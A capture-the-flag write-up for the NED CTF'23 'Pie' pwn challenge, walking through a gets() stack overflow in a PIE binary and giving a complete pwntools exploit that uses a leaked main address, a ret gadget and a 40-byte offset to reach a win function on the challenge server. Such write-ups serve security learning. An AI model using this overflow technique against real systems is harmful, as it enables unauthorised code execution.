- Published on
NED CTF'23 - Pwn - Pie
- Authors

- Name
- Ali Taqi Wajid
- @alitaqiwajid
Challenge Description
Leaks are everywhere.
Author: Saad Akhtar
nc 159.223.192.150 9004

Solution
Downloading the pie.zip, we get the following files

The file security checks on the binary are as follows

Let's run the pie binary to check what it does

Okay, let's disassemble and check the functions inside ghidra

The functions that stand out are vuln and the win function. By now, we know that win often simply reads the flag.txt and all we have to do is invoke it. Let's check the vuln function:
void vuln(void) {
char local_28 [32];
printf("Leaked address: %p\n",main);
printf("For the last time could you tell me your name please? ");
gets(local_28);
printf("\nThank you %s",local_28);
return;
}
Well, the gets is here, once again. The buffer is 32 bytes long. The main function is also leaked. So, now we know that we need to do the following:
- Calculate the offset of the
winfunction from themainfunction. - Overflow the buffer and overwrite the return address to the
winfunction. - Get the flag.
1. Calculating the offset
To do that, we can utilize pwntools, and use the ELF module to calculate the offset. By firstly getting the address of main, we change the local ELF's main to re-align to the leaked address
Now, the address of win function will become elf.sym.win. We also need to add a ret gadget, which will be used to return to the win function. To do that, we can use the ROP module of pwntools. The code for this will be as follows:
The code for this will be as follows:
#!/usr/bin/env python3
from pwn import *
import sys
import re
_bin = './pie'
elf = context.binary = ELF(_bin)
if len(sys.argv) == 2 and sys.argv[1] == 'remote':
io = remote('159.223.192.150', 9004)
else:
io = process(_bin)
data = io.read().decode('latin-1')
main_func = re.findall('Leaked address: (.*?)\n', data)[0]
info(f"Address for main function: {main_func}")
info("Patching the ELF address:")
elf.address = int(main_func, 16) - elf.sym.main
info(f"win function found at: {elf.sym.win}")
win_func = p64(elf.sym.win)
rop = ROP(elf)
ret = p64(rop.ret.address)
Overflowing the buffer and getting the flag
Now, since we have the first part done, next thing we need to do is craft the payload. We have the address of win function, all we need to do is overwrite the instruction pointer to the address and then we're golden. To do that, we need to calculate the offset of the buffer. Once again, basic math; 32 + 8, i.e. 40. Hence, the offset is 40.
payload = b"A" * 40
payload += ret
payload += win_func
io.sendline(payload)
This is the gist of it. The final exploit is:
#!/usr/bin/env python3
from pwn import *
import sys
import re
_bin = './pie'
elf = context.binary = ELF(_bin)
if len(sys.argv) == 2 and sys.argv[1] == 'remote':
io = remote('159.223.192.150', 9004)
else:
io = process(_bin)
data = io.read().decode('latin-1')
main_func = re.findall('Leaked address: (.*?)\n', data)[0]
info(f"Address for main function: {main_func}")
info("Patching the ELF address:")
elf.address = int(main_func, 16) - elf.sym.main
info(f"win function found at: {elf.sym.win}")
win_func = p64(elf.sym.win)
rop = ROP(elf)
ret = p64(rop.ret.address)
offset = 40
payload = b'A' * offset + ret + win_func # the payload wasn't working with `flat`.
io.sendline(payload)
buf = io.recv()
try:
flag = buf.split(b'\n')[-2]
info(f"Flag: {flag.decode()}")
except:
info("No flag. An error occurred.")

Flag: NCC{pie_byp4ssed_007}